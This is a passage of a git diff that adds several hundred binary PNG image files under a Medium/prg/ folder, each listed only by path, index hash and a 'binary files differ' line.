Binary files /dev/null and b/Medium/prg/2_004.png differ diff --git a/Medium/prg/30_001.png b/Medium/prg/30_001.png new file mode 100644 index 0000000..2fb172d Binary files /dev/null and b/Medium/prg/30_001.png differ diff --git a/Medium/prg/30_002.png b/Medium/prg/30_002.png new file mode 100644 index 0000000..21f4b9d Binary files /dev/null and b/Medium/prg/30_002.png differ diff --git a/Medium/prg/30_003.png b/Medium/prg/30_003.png new file mode 100644 index 0000000..fac2922 Binary files /dev/null and b/Medium/prg/30_003.png differ diff --git a/Medium/prg/30_004.png b/Medium/prg/30_004.png new file mode 100644 index 0000000..2e4e823 Binary files /dev/null and b/Medium/prg/30_004.png differ diff --git a/Medium/prg/30_005.png b/Medium/prg/30_005.png new file mode 100644 index 0000000..fb3c951 Binary files /dev/null and b/Medium/prg/30_005.png differ diff --git a/Medium/prg/30_006.png b/Medium/prg/30_006.png new file mode 100644 index 0000000..e3aa635 Binary files /dev/null and b/Medium/prg/30_006.png differ diff --git a/Medium/prg/30_007.png b/Medium/prg/30_007.png new file mode 100644 index 0000000..cb0ae46 Binary files /dev/null and b/Medium/prg/30_007.png differ diff --git a/Medium/prg/30_008.png b/Medium/prg/30_008.png new file mode 100644 index 0000000..47c6e6b Binary files /dev/null and b/Medium/prg/30_008.png differ diff --git a/Medium/prg/30_009.png b/Medium/prg/30_009.png new file mode 100644 index 0000000..d9b2376 Binary files /dev/null and b/Medium/prg/30_009.png differ diff --git a/Medium/prg/30_010.png b/Medium/prg/30_010.png new file mode 100644 index 0000000..992d742 Binary files /dev/null and b/Medium/prg/30_010.png differ diff --git a/Medium/prg/31_001.png b/Medium/prg/31_001.png new file mode 100644 index 0000000..e370f6c Binary files /dev/null and b/Medium/prg/31_001.png differ diff --git a/Medium/prg/31_002.png b/Medium/prg/31_002.png new file mode 100644 index 0000000..fb39cb4 Binary files /dev/null and b/Medium/prg/31_002.png differ diff --git a/Medium/prg/31_003.png b/Medium/prg/31_003.png new file mode 100644 index 0000000..be41062 Binary files /dev/null and b/Medium/prg/31_003.png differ diff --git a/Medium/prg/31_004.png b/Medium/prg/31_004.png new file mode 100644 index 0000000..ff1f952 Binary files /dev/null and b/Medium/prg/31_004.png differ diff --git a/Medium/prg/31_005.png b/Medium/prg/31_005.png new file mode 100644 index 0000000..6274ffc Binary files /dev/null and b/Medium/prg/31_005.png differ diff --git a/Medium/prg/31_006.png b/Medium/prg/31_006.png new file mode 100644 index 0000000..545e4fa Binary files /dev/null and b/Medium/prg/31_006.png differ diff --git a/Medium/prg/31_007.png b/Medium/prg/31_007.png new file mode 100644 index 0000000..f24cda5 Binary files /dev/null and b/Medium/prg/31_007.png differ diff --git a/Medium/prg/31_008.png b/Medium/prg/31_008.png new file mode 100644 index 0000000..c44c44a Binary files /dev/null and b/Medium/prg/31_008.png differ diff --git a/Medium/prg/31_009.png b/Medium/prg/31_009.png new file mode 100644 index 0000000..14c9977 Binary files /dev/null and b/Medium/prg/31_009.png differ diff --git a/Medium/prg/31_010.png b/Medium/prg/31_010.png new file mode 100644 index 0000000..206c6c2 Binary files /dev/null and b/Medium/prg/31_010.png differ diff --git a/Medium/prg/31_011.png b/Medium/prg/31_011.png new file mode 100644 index 0000000..d3f9196 Binary files /dev/null and b/Medium/prg/31_011.png differ diff --git a/Medium/prg/31_012.png b/Medium/prg/31_012.png new file mode 100644 index 0000000..dc31f1e Binary files /dev/null and b/Medium/prg/31_012.png differ diff --git a/Medium/prg/32_001.png b/Medium/prg/32_001.png new file mode 100644 index 0000000..86a92d1 Binary files /dev/null and b/Medium/prg/32_001.png differ diff --git a/Medium/prg/32_002.png b/Medium/prg/32_002.png new file mode 100644 index 0000000..720d681 Binary files /dev/null and b/Medium/prg/32_002.png differ diff --git a/Medium/prg/32_003.png b/Medium/prg/32_003.png new file mode 100644 index 0000000..aeeb087 Binary files /dev/null and b/Medium/prg/32_003.png differ diff --git a/Medium/prg/32_004.png b/Medium/prg/32_004.png new file mode 100644 index 0000000..a0ccc68 Binary files /dev/null and b/Medium/prg/32_004.png differ diff --git a/Medium/prg/32_005.png b/Medium/prg/32_005.png new file mode 100644 index 0000000..abf7ac5 Binary files /dev/null and b/Medium/prg/32_005.png differ diff --git a/Medium/prg/32_006.png b/Medium/prg/32_006.png new file mode 100644 index 0000000..746a8ae Binary files /dev/null and b/Medium/prg/32_006.png differ diff --git a/Medium/prg/32_007.png b/Medium/prg/32_007.png new file mode 100644 index 0000000..95271f1 Binary files /dev/null and b/Medium/prg/32_007.png differ diff --git a/Medium/prg/32_008.png b/Medium/prg/32_008.png new file mode 100644 index 0000000..4212a59 Binary files /dev/null and b/Medium/prg/32_008.png differ diff --git a/Medium/prg/32_009.png b/Medium/prg/32_009.png new file mode 100644 index 0000000..59ee735 Binary files /dev/null and b/Medium/prg/32_009.png differ diff --git a/Medium/prg/32_010.png b/Medium/prg/32_010.png new file mode 100644 index 0000000..f3053ea Binary files /dev/null and b/Medium/prg/32_010.png differ diff --git a/Medium/prg/32_011.png b/Medium/prg/32_011.png new file mode 100644 index 0000000..979b5d6 Binary files /dev/null and b/Medium/prg/32_011.png differ diff --git a/Medium/prg/32_012.png b/Medium/prg/32_012.png new file mode 100644 index 0000000..7c022db Binary files /dev/null and b/Medium/prg/32_012.png differ diff --git a/Medium/prg/32_013.png b/Medium/prg/32_013.png new file mode 100644 index 0000000..7315678 Binary files /dev/null and b/Medium/prg/32_013.png differ diff --git a/Medium/prg/32_014.png b/Medium/prg/32_014.png new file mode 100644 index 0000000..4d4352b Binary files /dev/null and b/Medium/prg/32_014.png differ diff --git a/Medium/prg/32_015.png b/Medium/prg/32_015.png new file mode 100644 index 0000000..6e813b5 Binary files /dev/null and b/Medium/prg/32_015.png differ diff --git a/Medium/prg/32_016.png b/Medium/prg/32_016.png new file mode 100644 index 0000000..7185248 Binary files /dev/null and b/Medium/prg/32_016.png differ diff --git a/Medium/prg/34_001.png b/Medium/prg/34_001.png new file mode 100644 index 0000000..39651e1 Binary files /dev/null and b/Medium/prg/34_001.png differ diff --git a/Medium/prg/34_002.png b/Medium/prg/34_002.png new file mode 100644 index 0000000..a7de850 Binary files /dev/null and b/Medium/prg/34_002.png differ diff --git a/Medium/prg/34_003.png b/Medium/prg/34_003.png new file mode 100644 index 0000000..e8c61c7 Binary files /dev/null and b/Medium/prg/34_003.png differ diff --git a/Medium/prg/34_004.png b/Medium/prg/34_004.png new file mode 100644 index 0000000..e99124b Binary files /dev/null and b/Medium/prg/34_004.png differ diff --git a/Medium/prg/34_005.png b/Medium/prg/34_005.png new file mode 100644 index 0000000..78722a8 Binary files /dev/null and b/Medium/prg/34_005.png differ diff --git a/Medium/prg/34_006.png b/Medium/prg/34_006.png new file mode 100644 index 0000000..f6a9632 Binary files /dev/null and b/Medium/prg/34_006.png differ diff --git a/Medium/prg/34_007.png b/Medium/prg/34_007.png new file mode 100644 index 0000000..d6a2acc Binary files /dev/null and b/Medium/prg/34_007.png differ diff --git a/Medium/prg/34_008.png b/Medium/prg/34_008.png new file mode 100644 index 0000000..d2b2722 Binary files /dev/null and b/Medium/prg/34_008.png differ diff --git a/Medium/prg/34_009.png b/Medium/prg/34_009.png new file mode 100644 index 0000000..8b6e43f Binary files /dev/null and b/Medium/prg/34_009.png differ diff --git a/Medium/prg/34_010.png b/Medium/prg/34_010.png new file mode 100644 index 0000000..8ff1624 Binary files /dev/null and b/Medium/prg/34_010.png differ diff --git a/Medium/prg/34_011.png b/Medium/prg/34_011.png new file mode 100644 index 0000000..b4e2d64 Binary files /dev/null and b/Medium/prg/34_011.png differ diff --git a/Medium/prg/35_001.png b/Medium/prg/35_001.png new file mode 100644 index 0000000..448fc6a Binary files /dev/null and b/Medium/prg/35_001.png differ diff --git a/Medium/prg/35_002.png b/Medium/prg/35_002.png new file mode 100644 index 0000000..b16b059 Binary files /dev/null and b/Medium/prg/35_002.png differ diff --git a/Medium/prg/35_003.png b/Medium/prg/35_003.png new file mode 100644 index 0000000..78d6f51 Binary files /dev/null and b/Medium/prg/35_003.png differ diff --git a/Medium/prg/35_004.png b/Medium/prg/35_004.png new file mode 100644 index 0000000..9d8596d Binary files /dev/null and b/Medium/prg/35_004.png differ diff --git a/Medium/prg/35_005.png b/Medium/prg/35_005.png new file mode 100644 index 0000000..4c71f75 Binary files /dev/null and b/Medium/prg/35_005.png differ diff --git a/Medium/prg/35_006.png b/Medium/prg/35_006.png new file mode 100644 index 0000000..2f81ca8 Binary files /dev/null and b/Medium/prg/35_006.png differ diff --git a/Medium/prg/35_007.png b/Medium/prg/35_007.png new file mode 100644 index 0000000..974e8a5 Binary files /dev/null and b/Medium/prg/35_007.png differ diff --git a/Medium/prg/35_008.png b/Medium/prg/35_008.png new file mode 100644 index 0000000..ad1144e Binary files /dev/null and b/Medium/prg/35_008.png differ diff --git a/Medium/prg/35_009.png b/Medium/prg/35_009.png new file mode 100644 index 0000000..6ac8560 Binary files /dev/null and b/Medium/prg/35_009.png differ diff --git a/Medium/prg/35_010.png b/Medium/prg/35_010.png new file mode 100644 index 0000000..cf73eb7 Binary files /dev/null and b/Medium/prg/35_010.png differ diff --git a/Medium/prg/35_011.png b/Medium/prg/35_011.png new file mode 100644 index 0000000..14ced54 Binary files /dev/null and b/Medium/prg/35_011.png differ diff --git a/Medium/prg/35_012.png b/Medium/prg/35_012.png new file mode 100644 index 0000000..e81365e Binary files /dev/null and b/Medium/prg/35_012.png differ diff --git a/Medium/prg/35_013.png b/Medium/prg/35_013.png new file mode 100644 index 0000000..69122c0 Binary files /dev/null and b/Medium/prg/35_013.png differ diff --git a/Medium/prg/35_014.png b/Medium/prg/35_014.png new file mode 100644 index 0000000..0c07245 Binary files /dev/null and b/Medium/prg/35_014.png differ diff --git a/Medium/prg/35_015.png b/Medium/prg/35_015.png new file mode 100644 index 0000000..22b6c92 Binary files /dev/null and b/Medium/prg/35_015.png differ diff --git a/Medium/prg/35_016.png b/Medium/prg/35_016.png new file mode 100644 index 0000000..4fb0860 Binary files /dev/null and b/Medium/prg/35_016.png differ diff --git a/Medium/prg/36_001.png b/Medium/prg/36_001.png new file mode 100644 index 0000000..4038e7c Binary files /dev/null and b/Medium/prg/36_001.png differ diff --git a/Medium/prg/36_002.png b/Medium/prg/36_002.png new file mode 100644 index 0000000..62dc321 Binary files /dev/null and b/Medium/prg/36_002.png differ diff --git a/Medium/prg/36_003.png b/Medium/prg/36_003.png new file mode 100644 index 0000000..2fbe73d Binary files /dev/null and b/Medium/prg/36_003.png differ diff --git a/Medium/prg/36_004.png b/Medium/prg/36_004.png new file mode 100644 index 0000000..b63fc90 Binary files /dev/null and b/Medium/prg/36_004.png differ diff --git a/Medium/prg/36_005.png b/Medium/prg/36_005.png new file mode 100644 index 0000000..8e9db9a Binary files /dev/null and b/Medium/prg/36_005.png differ diff --git a/Medium/prg/36_006.png b/Medium/prg/36_006.png new file mode 100644 index 0000000..956dc3e Binary files /dev/null and b/Medium/prg/36_006.png differ diff --git a/Medium/prg/36_007.png b/Medium/prg/36_007.png new file mode 100644 index 0000000..6372b69 Binary files /dev/null and b/Medium/prg/36_007.png differ diff --git a/Medium/prg/36_008.png b/Medium/prg/36_008.png new file mode 100644 index 0000000..c713029 Binary files /dev/null and b/Medium/prg/36_008.png differ diff --git a/Medium/prg/36_009.png b/Medium/prg/36_009.png new file mode 100644 index 0000000..e24562d Binary files /dev/null and b/Medium/prg/36_009.png differ diff --git a/Medium/prg/36_010.png b/Medium/prg/36_010.png new file mode 100644 index 0000000..c4c8992 Binary files /dev/null and b/Medium/prg/36_010.png differ diff --git a/Medium/prg/36_011.png b/Medium/prg/36_011.png new file mode 100644 index 0000000..bdf9243 Binary files /dev/null and b/Medium/prg/36_011.png differ diff --git a/Medium/prg/36_012.png b/Medium/prg/36_012.png new file mode 100644 index 0000000..b92c1b9 Binary files /dev/null and b/Medium/prg/36_012.png differ diff --git a/Medium/prg/36_013.png b/Medium/prg/36_013.png new file mode 100644 index 0000000..1068ce9 Binary files /dev/null and b/Medium/prg/36_013.png differ diff --git a/Medium/prg/36_014.png b/Medium/prg/36_014.png new file mode 100644 index 0000000..d85bf18 Binary files /dev/null and b/Medium/prg/36_014.png differ diff --git a/Medium/prg/36_015.png b/Medium/prg/36_015.png new file mode 100644 index 0000000..f0500eb Binary files /dev/null and b/Medium/prg/36_015.png differ diff --git a/Medium/prg/36_016.png b/Medium/prg/36_016.png new file mode 100644 index 0000000..dd4bdf1 Binary files /dev/null and b/Medium/prg/36_016.png differ diff --git a/Medium/prg/36_017.png b/Medium/prg/36_017.png new file mode 100644 index 0000000..2f87432 Binary files /dev/null and b/Medium/prg/36_017.png differ diff --git a/Medium/prg/36_018.png b/Medium/prg/36_018.png new file mode 100644 index 0000000..f3a414e Binary files /dev/null and b/Medium/prg/36_018.png differ diff --git a/Medium/prg/36_019.png b/Medium/prg/36_019.png new file mode 100644 index 0000000..01a18d2 Binary files /dev/null and b/Medium/prg/36_019.png differ diff --git a/Medium/prg/37_001.png b/Medium/prg/37_001.png new file mode 100644 index 0000000..062aeee Binary files /dev/null and b/Medium/prg/37_001.png differ diff --git a/Medium/prg/37_002.png b/Medium/prg/37_002.png new file mode 100644 index 0000000..c8cd99d Binary files /dev/null and b/Medium/prg/37_002.png differ diff --git a/Medium/prg/37_003.png b/Medium/prg/37_003.png new file mode 100644 index 0000000..fc9cf34 Binary files /dev/null and b/Medium/prg/37_003.png differ diff --git a/Medium/prg/38_001.png b/Medium/prg/38_001.png new file mode 100644 index 0000000..e911eac Binary files /dev/null and b/Medium/prg/38_001.png differ diff --git a/Medium/prg/38_002.png b/Medium/prg/38_002.png new file mode 100644 index 0000000..753e3a8 Binary files /dev/null and b/Medium/prg/38_002.png differ diff --git a/Medium/prg/38_003.png b/Medium/prg/38_003.png new file mode 100644 index 0000000..c1d679f Binary files /dev/null and b/Medium/prg/38_003.png differ diff --git a/Medium/prg/38_004.png b/Medium/prg/38_004.png new file mode 100644 index 0000000..62eb1d1 Binary files /dev/null and b/Medium/prg/38_004.png differ diff --git a/Medium/prg/38_005.png b/Medium/prg/38_005.png new file mode 100644 index 0000000..6d61fcf Binary files /dev/null and b/Medium/prg/38_005.png differ diff --git a/Medium/prg/38_006.png b/Medium/prg/38_006.png new file mode 100644 index 0000000..9e45127 Binary files /dev/null and b/Medium/prg/38_006.png differ diff --git a/Medium/prg/38_007.png b/Medium/prg/38_007.png new file mode 100644 index 0000000..5c5481e Binary files /dev/null and b/Medium/prg/38_007.png differ diff --git a/Medium/prg/38_008.png b/Medium/prg/38_008.png new file mode 100644 index 0000000..3a94aa0 Binary files /dev/null and b/Medium/prg/38_008.png differ diff --git a/Medium/prg/38_009.png b/Medium/prg/38_009.png new file mode 100644 index 0000000..4f5fa0f Binary files /dev/null and b/Medium/prg/38_009.png differ diff --git a/Medium/prg/38_010.png b/Medium/prg/38_010.png new file mode 100644 index 0000000..69cc17f Binary files /dev/null and b/Medium/prg/38_010.png differ diff --git a/Medium/prg/38_011.png b/Medium/prg/38_011.png new file mode 100644 index 0000000..8777219 Binary files /dev/null and b/Medium/prg/38_011.png differ diff --git a/Medium/prg/38_012.png b/Medium/prg/38_012.png new file mode 100644 index 0000000..1670218 Binary files /dev/null and b/Medium/prg/38_012.png differ diff --git a/Medium/prg/38_013.png b/Medium/prg/38_013.png new file mode 100644 index 0000000..55703d0 Binary files /dev/null and b/Medium/prg/38_013.png differ diff --git a/Medium/prg/38_014.png b/Medium/prg/38_014.png new file mode 100644 index 0000000..6ea6e5a Binary files /dev/null and b/Medium/prg/38_014.png differ diff --git a/Medium/prg/38_015.png b/Medium/prg/38_015.png new file mode 100644 index 0000000..ea66c07 Binary files /dev/null and b/Medium/prg/38_015.png differ diff --git a/Medium/prg/38_016.png b/Medium/prg/38_016.png new file mode 100644 index 0000000..8785530 Binary files /dev/null and b/Medium/prg/38_016.png differ diff --git a/Medium/prg/39_001.png b/Medium/prg/39_001.png new file mode 100644 index 0000000..fe135cc Binary files /dev/null and b/Medium/prg/39_001.png differ diff --git a/Medium/prg/39_002.png b/Medium/prg/39_002.png new file mode 100644 index 0000000..6c80298 Binary files /dev/null and b/Medium/prg/39_002.png differ diff --git a/Medium/prg/39_003.png b/Medium/prg/39_003.png new file mode 100644 index 0000000..ea0f6f2 Binary files /dev/null and b/Medium/prg/39_003.png differ diff --git a/Medium/prg/3_001.png b/Medium/prg/3_001.png new file mode 100644 index 0000000..52b2a5b Binary files /dev/null and b/Medium/prg/3_001.png differ diff --git a/Medium/prg/3_002.png b/Medium/prg/3_002.png new file mode 100644 index 0000000..b292ce4 Binary files /dev/null and b/Medium/prg/3_002.png differ diff --git a/Medium/prg/40_001.png b/Medium/prg/40_001.png new file mode 100644 index 0000000..107c270 Binary files /dev/null and b/Medium/prg/40_001.png differ diff --git a/Medium/prg/40_002.png b/Medium/prg/40_002.png new file mode 100644 index 0000000..e574027 Binary files /dev/null and b/Medium/prg/40_002.png differ diff --git a/Medium/prg/40_003.png b/Medium/prg/40_003.png new file mode 100644 index 0000000..0c3ae28 Binary files /dev/null and b/Medium/prg/40_003.png differ diff --git a/Medium/prg/40_004.png b/Medium/prg/40_004.png new file mode 100644 index 0000000..a06f235 Binary files /dev/null and b/Medium/prg/40_004.png differ diff --git a/Medium/prg/40_005.png b/Medium/prg/40_005.png new file mode 100644 index 0000000..9b538ba Binary files /dev/null and b/Medium/prg/40_005.png differ diff --git a/Medium/prg/40_006.png b/Medium/prg/40_006.png new file mode 100644 index 0000000..4ccd773 Binary files /dev/null and b/Medium/prg/40_006.png differ diff --git a/Medium/prg/40_007.png b/Medium/prg/40_007.png new file mode 100644 index 0000000..37f16c7 Binary files /dev/null and b/Medium/prg/40_007.png differ diff --git a/Medium/prg/40_008.png b/Medium/prg/40_008.png new file mode 100644 index 0000000..db097b7 Binary files /dev/null and b/Medium/prg/40_008.png differ diff --git a/Medium/prg/40_009.png b/Medium/prg/40_009.png new file mode 100644 index 0000000..97497b7 Binary files /dev/null and b/Medium/prg/40_009.png differ diff --git a/Medium/prg/40_010.png b/Medium/prg/40_010.png new file mode 100644 index 0000000..2a0684a Binary files /dev/null and b/Medium/prg/40_010.png differ diff --git a/Medium/prg/40_011.png b/Medium/prg/40_011.png new file mode 100644 index 0000000..3dbe3d9 Binary files /dev/null and b/Medium/prg/40_011.png differ diff --git a/Medium/prg/41_001.png b/Medium/prg/41_001.png new file mode 100644 index 0000000..eaf8f21 Binary files /dev/null and b/Medium/prg/41_001.png differ diff --git a/Medium/prg/41_002.png b/Medium/prg/41_002.png new file mode 100644 index 0000000..da9fc92 Binary files /dev/null and b/Medium/prg/41_002.png differ diff --git a/Medium/prg/41_003.png b/Medium/prg/41_003.png new file mode 100644 index 0000000..a82a711 Binary files /dev/null and b/Medium/prg/41_003.png differ diff --git a/Medium/prg/41_004.png b/Medium/prg/41_004.png new file mode 100644 index 0000000..16bcf4c Binary files /dev/null and b/Medium/prg/41_004.png differ diff --git a/Medium/prg/41_005.png b/Medium/prg/41_005.png new file mode 100644 index 0000000..1425085 Binary files /dev/null and b/Medium/prg/41_005.png differ diff --git a/Medium/prg/41_006.png b/Medium/prg/41_006.png new file mode 100644 index 0000000..23f8ac5 Binary files /dev/null and b/Medium/prg/41_006.png differ diff --git a/Medium/prg/41_007.png b/Medium/prg/41_007.png new file mode 100644 index 0000000..5e13494 Binary files /dev/null and b/Medium/prg/41_007.png differ diff --git a/Medium/prg/41_008.png b/Medium/prg/41_008.png new file mode 100644 index 0000000..614136c Binary files /dev/null and b/Medium/prg/41_008.png differ diff --git a/Medium/prg/41_009.png b/Medium/prg/41_009.png new file mode 100644 index 0000000..246ee60 Binary files /dev/null and b/Medium/prg/41_009.png differ diff --git a/Medium/prg/41_010.png b/Medium/prg/41_010.png new file mode 100644 index 0000000..2218195 Binary files /dev/null and b/Medium/prg/41_010.png differ diff --git a/Medium/prg/41_011.png b/Medium/prg/41_011.png new file mode 100644 index 0000000..0fe77f8 Binary files /dev/null and b/Medium/prg/41_011.png differ diff --git a/Medium/prg/41_012.png b/Medium/prg/41_012.png new file mode 100644 index 0000000..2169a1a Binary files /dev/null and b/Medium/prg/41_012.png differ diff --git a/Medium/prg/41_013.png b/Medium/prg/41_013.png new file mode 100644 index 0000000..0b2bf12 Binary files /dev/null and b/Medium/prg/41_013.png differ diff --git a/Medium/prg/41_014.png b/Medium/prg/41_014.png new file mode 100644 index 0000000..04ff7dd Binary files /dev/null and b/Medium/prg/41_014.png differ diff --git a/Medium/prg/41_015.png b/Medium/prg/41_015.png new file mode 100644 index 0000000..cf304bb Binary files /dev/null and b/Medium/prg/41_015.png differ diff --git a/Medium/prg/41_016.png b/Medium/prg/41_016.png new file mode 100644 index 0000000..709d703 Binary files /dev/null and b/Medium/prg/41_016.png differ diff --git a/Medium/prg/41_017.png b/Medium/prg/41_017.png new file mode 100644 index 0000000..89f4db4 Binary files /dev/null and b/Medium/prg/41_017.png differ diff --git a/Medium/prg/41_018.png b/Medium/prg/41_018.png new file mode 100644 index 0000000..52b7d4e Binary files /dev/null and b/Medium/prg/41_018.png differ diff --git a/Medium/prg/41_019.png b/Medium/prg/41_019.png new file mode 100644 index 0000000..7d1ac41 Binary files /dev/null and b/Medium/prg/41_019.png differ diff --git a/Medium/prg/41_020.png b/Medium/prg/41_020.png new file mode 100644 index 0000000..cc5c786 Binary files /dev/null and b/Medium/prg/41_020.png differ diff --git a/Medium/prg/42_001.png b/Medium/prg/42_001.png new file mode 100644 index 0000000..7b3c4cc Binary files /dev/null and b/Medium/prg/42_001.png differ diff --git a/Medium/prg/42_002.png b/Medium/prg/42_002.png new file mode 100644 index 0000000..39045a0 Binary files /dev/null and b/Medium/prg/42_002.png differ diff --git a/Medium/prg/42_003.png b/Medium/prg/42_003.png new file mode 100644 index 0000000..a396882 Binary files /dev/null and b/Medium/prg/42_003.png differ diff --git a/Medium/prg/42_004.png b/Medium/prg/42_004.png new file mode 100644 index 0000000..db76128 Binary files /dev/null and b/Medium/prg/42_004.png differ diff --git a/Medium/prg/42_005.png b/Medium/prg/42_005.png new file mode 100644 index 0000000..7e1c9ff Binary files /dev/null and b/Medium/prg/42_005.png differ diff --git a/Medium/prg/42_006.png b/Medium/prg/42_006.png new file mode 100644 index 0000000..b21f745 Binary files /dev/null and b/Medium/prg/42_006.png differ diff --git a/Medium/prg/42_007.png b/Medium/prg/42_007.png new file mode 100644 index 0000000..816e3fa Binary files /dev/null and b/Medium/prg/42_007.png differ diff --git a/Medium/prg/42_008.png b/Medium/prg/42_008.png new file mode 100644 index 0000000..e5df0f1 Binary files /dev/null and b/Medium/prg/42_008.png differ diff --git a/Medium/prg/43_001.png b/Medium/prg/43_001.png new file mode 100644 index 0000000..f62d878 Binary files /dev/null and b/Medium/prg/43_001.png differ diff --git a/Medium/prg/43_002.png b/Medium/prg/43_002.png new file mode 100644 index 0000000..223fe15 Binary files /dev/null and b/Medium/prg/43_002.png differ diff --git a/Medium/prg/43_003.png b/Medium/prg/43_003.png new file mode 100644 index 0000000..f3292e2 Binary files /dev/null and b/Medium/prg/43_003.png differ diff --git a/Medium/prg/43_004.png b/Medium/prg/43_004.png new file mode 100644 index 0000000..20a1395 Binary files /dev/null and b/Medium/prg/43_004.png differ diff --git a/Medium/prg/43_005.png b/Medium/prg/43_005.png new file mode 100644 index 0000000..06ae89f Binary files /dev/null and b/Medium/prg/43_005.png differ diff --git a/Medium/prg/43_006.png b/Medium/prg/43_006.png new file mode 100644 index 0000000..9171522 Binary files /dev/null and b/Medium/prg/43_006.png differ diff --git a/Medium/prg/43_007.png b/Medium/prg/43_007.png new file mode 100644 index 0000000..58d4b2d Binary files /dev/null and b/Medium/prg/43_007.png differ diff --git a/Medium/prg/43_008.png b/Medium/prg/43_008.png new file mode 100644 index 0000000..064ca9b Binary files /dev/null and b/Medium/prg/43_008.png differ diff --git a/Medium/prg/43_009.png b/Medium/prg/43_009.png new file mode 100644 index 0000000..a38b7a5 Binary files /dev/null and b/Medium/prg/43_009.png differ diff --git a/Medium/prg/44_001.png b/Medium/prg/44_001.png new file mode 100644 index 0000000..3abd858 Binary files /dev/null and b/Medium/prg/44_001.png differ diff --git a/Medium/prg/44_002.png b/Medium/prg/44_002.png new file mode 100644 index 0000000..96742c0 Binary files /dev/null and b/Medium/prg/44_002.png differ diff --git a/Medium/prg/44_003.png b/Medium/prg/44_003.png new file mode 100644 index 0000000..034c29d Binary files /dev/null and b/Medium/prg/44_003.png differ diff --git a/Medium/prg/44_004.png b/Medium/prg/44_004.png new file mode 100644 index 0000000..c62066a Binary files /dev/null and b/Medium/prg/44_004.png differ diff --git a/Medium/prg/44_005.png b/Medium/prg/44_005.png new file mode 100644 index 0000000..16e34da Binary files /dev/null and b/Medium/prg/44_005.png differ diff --git a/Medium/prg/44_006.png b/Medium/prg/44_006.png new file mode 100644 index 0000000..d3c59a3 Binary files /dev/null and b/Medium/prg/44_006.png differ diff --git a/Medium/prg/44_007.png b/Medium/prg/44_007.png new file mode 100644 index 0000000..436a724 Binary files /dev/null and b/Medium/prg/44_007.png differ diff --git a/Medium/prg/44_008.png b/Medium/prg/44_008.png new file mode 100644 index 0000000..32c9eeb Binary files /dev/null and b/Medium/prg/44_008.png differ diff --git a/Medium/prg/44_009.png b/Medium/prg/44_009.png new file mode 100644 index 0000000..6d07527 Binary files /dev/null and b/Medium/prg/44_009.png differ diff --git a/Medium/prg/44_010.png b/Medium/prg/44_010.png new file mode 100644 index 0000000..17cdf04 Binary files /dev/null and b/Medium/prg/44_010.png differ diff --git a/Medium/prg/44_011.png b/Medium/prg/44_011.png new file mode 100644 index 0000000..9bf0697 Binary files /dev/null and b/Medium/prg/44_011.png differ diff --git a/Medium/prg/44_012.png b/Medium/prg/44_012.png new file mode 100644 index 0000000..01bacae Binary files /dev/null and b/Medium/prg/44_012.png differ diff --git a/Medium/prg/44_013.png b/Medium/prg/44_013.png new file mode 100644 index 0000000..d7432f2 Binary files /dev/null and b/Medium/prg/44_013.png differ diff --git a/Medium/prg/44_014.png b/Medium/prg/44_014.png new file mode 100644 index 0000000..b5e7a72 Binary files /dev/null and b/Medium/prg/44_014.png differ diff --git a/Medium/prg/44_015.png b/Medium/prg/44_015.png new file mode 100644 index 0000000..5cd2360 Binary files /dev/null and b/Medium/prg/44_015.png differ diff --git a/Medium/prg/44_016.png b/Medium/prg/44_016.png new file mode 100644 index 0000000..8ed50a2 Binary files /dev/null and b/Medium/prg/44_016.png differ diff --git a/Medium/prg/44_017.png b/Medium/prg/44_017.png new file mode 100644 index 0000000..69a21ed Binary files /dev/null and b/Medium/prg/44_017.png differ diff --git a/Medium/prg/45_001.png b/Medium/prg/45_001.png new file mode 100644 index 0000000..f2f9741 Binary files /dev/null and b/Medium/prg/45_001.png differ diff --git a/Medium/prg/45_002.png b/Medium/prg/45_002.png new file mode 100644 index 0000000..ef7e645 Binary files /dev/null and b/Medium/prg/45_002.png differ diff --git a/Medium/prg/45_003.png b/Medium/prg/45_003.png new file mode 100644 index 0000000..7a0b7d2 Binary files /dev/null and b/Medium/prg/45_003.png differ diff --git a/Medium/prg/45_004.png b/Medium/prg/45_004.png new file mode 100644 index 0000000..6bfcb30 Binary files /dev/null and b/Medium/prg/45_004.png differ diff --git a/Medium/prg/45_005.png b/Medium/prg/45_005.png new file mode 100644 index 0000000..bf18918 Binary files /dev/null and b/Medium/prg/45_005.png differ diff --git a/Medium/prg/45_006.png b/Medium/prg/45_006.png new file mode 100644 index 0000000..ba66cbe Binary files /dev/null and b/Medium/prg/45_006.png differ diff --git a/Medium/prg/45_007.png b/Medium/prg/45_007.png new file mode 100644 index 0000000..ee2fa7d Binary files /dev/null and b/Medium/prg/45_007.png differ diff --git a/Medium/prg/45_008.png b/Medium/prg/45_008.png new file mode 100644 index 0000000..60ed209 Binary files /dev/null and b/Medium/prg/45_008.png differ diff --git a/Medium/prg/45_009.png b/Medium/prg/45_009.png new file mode 100644 index 0000000..7e48d29 Binary files /dev/null and b/Medium/prg/45_009.png differ diff --git a/Medium/prg/45_010.png b/Medium/prg/45_010.png new file mode 100644 index 0000000..a01b0e2 Binary files /dev/null and b/Medium/prg/45_010.png differ diff --git a/Medium/prg/45_011.png b/Medium/prg/45_011.png new file mode 100644 index 0000000..700a18a Binary files /dev/null and b/Medium/prg/45_011.png differ diff --git a/Medium/prg/45_012.png b/Medium/prg/45_012.png new file mode 100644 index 0000000..5330299 Binary files /dev/null and b/Medium/prg/45_012.png differ diff --git a/Medium/prg/45_013.png b/Medium/prg/45_013.png new file mode 100644 index 0000000..d283ff9 Binary files /dev/null and b/Medium/prg/45_013.png differ diff --git a/Medium/prg/45_014.png b/Medium/prg/45_014.png new file mode 100644 index 0000000..18428e7 Binary files /dev/null and b/Medium/prg/45_014.png differ diff --git a/Medium/prg/45_015.png b/Medium/prg/45_015.png new file mode 100644 index 0000000..8246662 Binary files /dev/null and b/Medium/prg/45_015.png differ diff --git a/Medium/prg/45_016.png b/Medium/prg/45_016.png new file mode 100644 index 0000000..50b8f93 Binary files /dev/null and b/Medium/prg/45_016.png differ diff --git a/Medium/prg/45_017.png b/Medium/prg/45_017.png new file mode 100644 index 0000000..45478a8 Binary files /dev/null and b/Medium/prg/45_017.png differ diff --git a/Medium/prg/45_018.png b/Medium/prg/45_018.png new file mode 100644 index 0000000..d3fb696 Binary files /dev/null and b/Medium/prg/45_018.png differ diff --git a/Medium/prg/45_019.png b/Medium/prg/45_019.png new file mode 100644 index 0000000..55292e1 Binary files /dev/null and b/Medium/prg/45_019.png differ diff --git a/Medium/prg/45_020.png b/Medium/prg/45_020.png new file mode 100644 index 0000000..2a3c6fa Binary files /dev/null and b/Medium/prg/45_020.png differ diff --git 